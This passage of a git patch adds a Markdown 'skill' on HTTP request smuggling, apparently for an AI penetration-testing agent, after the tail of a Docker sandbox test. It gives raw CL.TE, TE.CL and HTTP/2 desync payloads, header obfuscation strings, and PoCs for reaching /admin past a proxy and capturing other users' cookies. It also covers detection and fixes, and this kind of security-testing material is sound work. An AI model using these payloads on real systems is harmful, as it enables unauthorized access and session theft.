HOST_GATEWAY_HOSTNAME: "host-gateway", + "test.internal.lan": "host-gateway", + } + + +def test_create_container_wraps_invalid_extra_hosts(monkeypatch: pytest.MonkeyPatch) -> None: + monkeypatch.setenv("STRIX_SANDBOX_EXTRA_HOSTS", "test.internal.lan") + + run = MagicMock() + containers = SimpleNamespace(get=MagicMock(side_effect=NotFound("missing")), run=run) + runtime = DockerRuntime.__new__(DockerRuntime) + runtime.client = SimpleNamespace(containers=containers) + runtime._verify_image_available = MagicMock() + runtime._find_available_port = MagicMock(side_effect=[12345, 12346]) + runtime._wait_for_tool_server = MagicMock() + runtime._scan_container = None + + with pytest.raises(SandboxInitializationError, match="Invalid Docker sandbox host mapping"): + runtime._create_container("scan-id") + + run.assert_not_called() From 2380cf55cb101dda63bf43fe9122718de37d2ecc Mon Sep 17 00:00:00 2001 From: Sandiyo Christan <55909152+sandiyochristan@users.noreply.github.com> Date: Thu, 21 May 2026 07:15:16 +0530 Subject: [PATCH 10/10] feat: add HTTP request smuggling skill (#405) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat: add HTTP request smuggling skill Add a new vulnerability skill covering HTTP request smuggling (HRS) across CL.TE, TE.CL, H2.CL, and H2.TE desync variants. HRS is absent from the existing skill set despite being a distinct, high-impact vulnerability class frequently present in any architecture using a reverse proxy or CDN in front of an application server. Coverage: - CL.TE: front-end uses Content-Length, back-end uses Transfer-Encoding - TE.CL: front-end uses Transfer-Encoding, back-end uses Content-Length - H2.CL: HTTP/2 front-end downgrades to HTTP/1.1 with injected Content-Length - H2.TE: Transfer-Encoding header injection through HTTP/2 desync - Transfer-Encoding obfuscation techniques (tab, space, duplicate, xchunked) - Front-end security control bypass via smuggled prefix - Cross-user request capture for session token theft - Response queue poisoning and WebSocket handshake hijacking - Timing-based and differential response detection methodology - HTTP/2 specific probing techniques Includes raw HTTP examples for each variant, step-by-step testing methodology, exploitation PoCs, false-positive conditions, and infrastructure topology guidance. * fix: correct TE.CL probe, pseudo-header terminology, PoC Content-Length values, \x20 representation Four reviewer findings addressed: P1 — TE.CL timing-probe description inverted: previous text said 'Content-Length set to fewer bytes than the chunk content' which describes socket-poisoning behavior (differential response), not a timeout. Corrected to: send a complete chunked body with CL set to MORE bytes than provided so the back-end waits for data that never arrives. Also corrected Testing Methodology step 3 to match. P2 — pseudo-header terminology: 'content-length' is a regular HTTP/2 header, not a pseudo-header (pseudo-headers are exclusively :method, :path, :authority, :scheme). Fixed the H2.CL explanation (line 75), HTTP/2-specific detection bullet, and Pro Tip #4 which referred to ':content-length pseudo-header'. P2 — PoC Content-Length values: outer Content-Length in the bypass PoC corrected from 116 to 100 (actual byte count of the body shown); capture PoC corrected from 129 to 120. P2 — \x20 representation: replaced the \x20 escape sequence in the code block (which renders as a literal four-character string, not a space byte) with an explanatory comment and actual whitespace characters so the intent is unambiguous. * Update strix/skills/vulnerabilities/http_request_smuggling.md --- .../vulnerabilities/http_request_smuggling.md | 255 ++++++++++++++++++ 1 file changed, 255 insertions(+) create mode 100644 strix/skills/vulnerabilities/http_request_smuggling.md diff --git a/strix/skills/vulnerabilities/http_request_smuggling.md b/strix/skills/vulnerabilities/http_request_smuggling.md new file mode 100644 index 0000000..5db2bd1 --- /dev/null +++ b/strix/skills/vulnerabilities/http_request_smuggling.md @@ -0,0 +1,255 @@ +--- +name: http-request-smuggling +description: HTTP request smuggling testing covering CL.TE, TE.CL, H2.CL, H2.TE, and HTTP/2 desync techniques with practical detection and exploitation methodology +--- + +# HTTP Request Smuggling + +HTTP request smuggling (HRS) exploits disagreements between a front-end proxy and a back-end server about where one HTTP request ends and the next begins. When the two systems parse `Content-Length` and `Transfer-Encoding` headers differently, an attacker can prefix a hidden request to the back-end's socket, which is then prepended to the next legitimate user's request. The impact ranges from bypassing front-end security controls to full cross-user session hijacking. + +## Attack Surface + +**Infrastructure Topologies** +- CDN or load balancer in front of origin server (Cloudflare, Nginx, HAProxy, AWS ALB) +- Reverse proxy chains (Nginx → Gunicorn, HAProxy → Node.js, Varnish → Apache) +- API gateways forwarding to microservices +- HTTP/2 front-end to HTTP/1.1 back-end translation (H2.CL / H2.TE) +- Tunneling servers or WAFs that terminate and re-forward requests + +**HTTP Versions in Play** +- HTTP/1.1: CL.TE and TE.CL classic smuggling +- HTTP/2: H2.CL (downgrade injects Content-Length) and H2.TE (injects Transfer-Encoding) +- HTTP/3: emerging QUIC-based desync (less common, research-stage) + +**Parser Differentials** +- Treatment of duplicate `Content-Length` headers +- Handling of `Transfer-Encoding: chunked` when `Content-Length` is also present +- Chunk size obfuscation via whitespace, tab, case, or invalid extensions + +## High-Value Targets + +- Front-end security controls (authentication bypass via desync) +- Endpoints shared by many users (high-traffic APIs, chat, feeds) +- Request capture endpoints (search, logging, analytics) +- Session-sensitive endpoints (auth callbacks, account settings) +- Internal admin interfaces proxied through the same connection pool + +## Core Concepts + +### CL.TE — Front-end uses Content-Length, Back-end uses Transfer-Encoding + +Front-end reads `Content-Length: X` bytes and forwards. Back-end reads until the `0\r\n\r\n` chunk terminator. Attacker appends a hidden request after the `0` terminator that the front-end considers part of the same body but the back-end treats as a new request. + +```http +POST / HTTP/1.1 +Host: target.com +Content-Length: 6 +Transfer-Encoding: chunked + +0 + +G +``` +The `G` is left in the back-end's socket buffer and prepended to the next request. + +### TE.CL — Front-end uses Transfer-Encoding, Back-end uses Content-Length + +Front-end reads chunked body to completion. Back-end reads only `Content-Length` bytes, leaving the remainder on the socket. + +```http +POST / HTTP/1.1 +Host: target.com +Content-Type: application/x-www-form-urlencoded +Content-Length: 3 +Transfer-Encoding: chunked + +8 +SMUGGLED +0 + + +``` + +### H2.CL — HTTP/2 Front-end Downgrades to HTTP/1.1, Injects Content-Length + +HTTP/2 has no `Content-Length` vs `TE` ambiguity in its own framing. But when the front-end downgrades to HTTP/1.1 for the back-end, an attacker can inject a `content-length` header in the HTTP/2 request that conflicts with the actual body length. Note: `content-length` is a regular HTTP/2 header — pseudo-headers are exclusively `:method`, `:path`, `:authority`, and `:scheme`: +``` +:method POST +:path / +:authority target.com +content-type application/x-www-form-urlencoded +content-length: 0 + +SMUGGLED_PREFIX +``` + +### H2.TE — HTTP/2 Injects Transfer-Encoding Header + +Inject `transfer-encoding: chunked` in HTTP/2 headers (which the HTTP/2 spec forbids, but some front-ends pass through). Back-end receives both headers, may prefer TE over CL. + +``` +:method POST +:path / +transfer-encoding: chunked + +0 + +SMUGGLED +``` + +## Key Vulnerabilities + +### Front-End Security Control Bypass + +A front-end proxy enforces authentication or IP restriction by checking request headers and blocking or allowing based on rules. If a smuggled prefix bypasses the front-end (because it's buried in a prior request's body from the front-end's view), the back-end processes it without the security check. + +**PoC structure (CL.TE):** +```http +POST /not-restricted HTTP/1.1 +Host: target.com +Content-Length: 100 +Transfer-Encoding: chunked + +0 + +GET /admin HTTP/1.1 +Host: target.com +X-Forwarded-Host: target.com +Content-Length: 10 + +x=1 +``` +The `GET /admin` is seen by the back-end as a new, legitimate request originating from the trusted proxy IP. + +### Cross-User Request Capture + +Poison the back-end socket with a partial request prefix that captures the next victim user's request (including their cookies, tokens, request body) into the response of a controlled endpoint (search, comment submission). + +**PoC structure (CL.TE capture):** +```http +POST /search HTTP/1.1 +Host: target.com +Content-Length: 120 +Transfer-Encoding: chunked + +0 + +POST /search HTTP/1.1 +Host: target.com +Content-Type: application/x-www-form-urlencoded +Content-Length: 100 + +q= +``` +`Content-Length: 100` in the smuggled prefix is longer than the actual smuggled body, so the back-end waits for 100 bytes — which it sources from the *next* user's request. The `/search` endpoint reflects the query, capturing headers and body of the subsequent request. + +### Response Queue Poisoning + +On pipelined connections, cause a misaligned response to be delivered to the wrong user (HTTP/1.1 response queue poisoning). Used to deliver attacker-controlled content or steal another user's response. + +### Request Reflection / Cache Poisoning Chain + +Smuggle a prefix that hits a cacheable endpoint with an injected `Host` header. If the cache stores the response keyed only on URL, the poisoned response is served to all users requesting that URL. + +### WebSocket Handshake Hijacking + +If the proxy performs WebSocket upgrade, a smuggled `Upgrade` request can hijack an existing WebSocket connection from a subsequent user. + +## Detection Techniques + +### Timing-Based Detection + +**CL.TE:** Send a request where `Content-Length` is complete but `Transfer-Encoding` body is missing the `0\r\n\r\n` terminator. A CL.TE-vulnerable back-end waits for the terminator, causing a timeout. + +```http +POST / HTTP/1.1 +Host: target.com +Transfer-Encoding: chunked +Content-Length: 6 + +3 +abc +X +``` +If response is delayed 10–30 seconds, CL.TE desync likely. + +**TE.CL:** Send a request with a complete chunked body (including the `0\r\n\r\n` terminator so the front-end is satisfied) but with `Content-Length` set to **more** bytes than the body actually provides. The back-end, using Content-Length, waits for the remaining bytes that never arrive — producing a 10–30 second timeout. Setting Content-Length *less* than the body causes socket poisoning (differential-response detection), not a timeout. + +### Differential Response Detection + +Send two requests in sequence. If the second request receives an unexpected response (error, redirect, wrong content), the first may have poisoned the socket. Use a unique string in the smuggled prefix to confirm. + +### Content-Length + Transfer-Encoding Combination + +```http +Transfer-Encoding: xchunked # non-standard value, some FE ignore, BE accept +Transfer-Encoding: chunked # leading space before value (0x20 byte after colon+space) +Transfer-Encoding: chunked # tab character before value +Transfer-Encoding: x +Transfer-Encoding: chunked # duplicate TE headers, BE uses last +``` + +## Transfer-Encoding Obfuscation + +To force TE disagreement: +``` +Transfer-Encoding: xchunked +Transfer-Encoding : chunked # space before colon +X: XTransfer-Encoding: chunked # header injection — inject actual CRLF bytes at , not the literal string \r\n +Transfer-Encoding: chunkedTransfer-Encoding: x # TE twice — inject actual CRLF bytes at +``` + +## HTTP/2-Specific Detection + +- Send HTTP/2 requests with an injected `content-length` regular header that differs from the actual body length +- Inject `transfer-encoding: chunked` in HTTP/2 headers (spec-forbidden but sometimes passed through) +- Use HTTP/2 header injection: inject newlines in header values if the front-end passes them to HTTP/1.1 back-end unescaped +- Observe whether the HTTP/2 connection ID corresponds to a persistent HTTP/1.1 connection to the back-end (connection reuse amplifies impact) + +## Testing Methodology + +1. **Map the proxy chain** — identify front-end (CDN, load balancer, WAF) and back-end (app server) +2. **Probe CL.TE** — send a timing probe with mismatched chunked terminator; observe delay +3. **Probe TE.CL** — send a timing probe with complete chunked body but Content-Length larger than the actual body; observe back-end timeout +4. **Obfuscate TE header** — try each obfuscation variant (tab, extra space, duplicate, non-standard value) +5. **Confirm with differential response** — send two rapid identical requests; if second gets an unexpected response, socket is poisoned +6. **Attempt bypass exploit** — craft a smuggled `GET /admin` or restricted endpoint and observe if back-end accepts it +7. **Attempt capture** — poison with a partial POST pointing to a reflective endpoint; wait for a follow-up request to fill the buffer +8. **Test H2.CL/H2.TE** — repeat the same probes over HTTP/2 connections if the target supports HTTP/2 + +## Validation + +1. Show a timing differential of 10+ seconds on the CL.TE or TE.CL probe and explain the mechanism +2. Demonstrate a bypass: smuggle a request to `/admin` and receive a 200 response where a direct request returns 403 +3. For capture: show a subsequent user's `Cookie` or `Authorization` header appearing in the response of a controlled endpoint +4. Confirm with a unique marker string in the smuggled prefix to rule out timing noise +5. Provide the exact raw bytes of the smuggled request + +## False Positives + +- General network latency or server-side processing delays unrelated to smuggling +- Server consistently close connection after first request (no connection reuse, no socket sharing) +- HTTP/2 with full end-to-end HTTP/2 to back-end (no HTTP/1.1 downgrade, no desync surface) +- WAF or proxy that normalizes TE/CL headers before forwarding (removes the ambiguity) + +## Impact + +- Authentication and authorization bypass by smuggling requests past front-end access controls +- Cross-user session hijacking by capturing requests containing session tokens +- Cache poisoning affecting all users of a cached resource +- Internal service access bypassing IP-based restrictions enforced at the front-end +- XSS delivery via response queue poisoning in shared connection contexts + +## Pro Tips + +1. Use Burp Suite's HTTP Request Smuggler extension as a rapid scanner, but always confirm manually — false positives are common +2. TE obfuscation is the most reliable path; `Transfer-Encoding: xchunked` works on many Apache/IIS back-ends +3. Keep smuggled prefixes short during detection; use the minimal body to confirm desync before attempting capture attacks +4. H2.CL is the most impactful modern variant — many CDNs translate HTTP/2 to HTTP/1.1 and derive `Content-Length` from the `content-length` regular header sent in the HTTP/2 request (not a pseudo-header — inject it as a normal header field) +5. In capture attacks, set `Content-Length` in the smuggled prefix larger than your partial body by 50–100 bytes to catch a full auth header from the next user +6. Test during low-traffic periods first to avoid affecting real users; always get explicit authorization for capture attempts +7. If timing probes are inconsistent, pipeline two requests over the same connection and look for unexpected response swapping + +## Summary + +HTTP request smuggling is eliminated by enforcing consistent TE/CL interpretation at every hop in the proxy chain, preferring end-to-end HTTP/2, and having back-end servers reject or normalize ambiguous requests. At the proxy level, never forward TE headers that were not present in the original request, and treat conflicting CL + TE as a hard error.